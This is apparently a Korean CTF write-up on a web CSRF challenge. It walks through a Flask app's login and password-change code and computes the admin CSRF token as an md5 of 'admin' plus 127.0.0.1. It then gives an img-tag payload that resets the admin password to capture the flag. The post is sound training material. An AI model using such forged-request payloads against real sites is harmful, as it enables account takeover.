웹 서비스 분석
/login : 특정 계정으로 로그인을 할 수 있는 페이지
/change_password : 현재 로그인 되어 있는 계정의 비밀번호를 바꿀수 있는 페이지
/vuln : 사용자가 입력한 값을 그대로 출력해주는 페이지
/flag : param에 입력한 url로 사용자가 이동
엔드 포인트 분석
/login
users = {
'guest': 'guest',
'admin': FLAG
}
session_storage = {}
token_storage = {}
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("user not found");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
사용자에게 username, password를 입력 받는다.
pw에 users 딕셔너리에 입력받은 username으로 매핑되어 있는 값을 저장
만약 pw와 사용자가 입력한 password가 같다면
랜덤한 8바이트 session_id 생성
생성한 session_id를 session_storage에 username과 매핑
token_storage에 생성된 session_id와 md5로 username + IP addr을 암호화한 값을 매핑
/change_password
@app.route("/change_password")
def change_password():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
csrf_token = token_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
pw = request.args.get("pw", None)
if pw == None:
return render_template('change_password.html', csrf_token=csrf_token)
else:
if csrf_token != request.args.get("csrftoken", ""):
return '<script>alert("wrong csrf token");history.go(-1);</script>'
users[username] = pw
return '<script>alert("Done");history.go(-1);</script>'
session_id를 가져옴
username, csrf_token을 각각 session_storage에 session_id 매핑되어 있는 값 가져오고, token_storage에 현재 session_id 매핑되어 있는 값 가져온다.
새로운 비밀번호를 입력받아서 pw 변수에 저장
만약 csrf_token이 로그인된 Id의 csrftoken과 다르다면 wrong csrf_token 출력
같다면 비밀번호 변경
취약점 분석
본 문제를 풀기 위해선 admin 계정의 비밀번호를 임의의 값으로 바꾸고, admin 계정으로 로그인 하여 index page에 출력되는 flag를 획득해야한다.
어드민 csrf_token 알아내기
admin의 id는 admin이고, admin의 ip주소는 127.0.0.1일 것이라는 것을 우리는 알고 있기 때문에
from hashlib import md5
username = b"admin"
ip_addr = b"127.0.0.1"
csrf_token = md5(username + ip_addr).hexdigest()
print(csrf_token)
해당 코드를 통해 admin 계정의 csrf_token을 알아낼수 있다.
토큰 : 7505b9c72ab4aa94b1a4ed7b207b67fb
익스플로잇
<img src="/change_password?pw=admin&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">
위의 페이로드를 admin 권한으로 요청을 보내는 페이지인 flag에 삽입하면 성공적으로 admin 계정의 비밀번호가 우리가 설정한 pw값으로 변경되고, 해당 계정으로 로그인해보면

이처럼 flag가 출력되는 것을 확인할수 있다.
'CTF & Wargame(WEB)' 카테고리의 다른 글
| level 3 CSS Injection (0) | 2025.04.18 |
|---|---|
| level 2 Client Side Template Injection (0) | 2025.04.18 |
| level 3 CSP Bypass Advanced (0) | 2025.04.18 |
| level 2 CSP Bypass (0) | 2025.04.18 |
| XSS Filtering Bypass Advanced level 3 (0) | 2025.04.18 |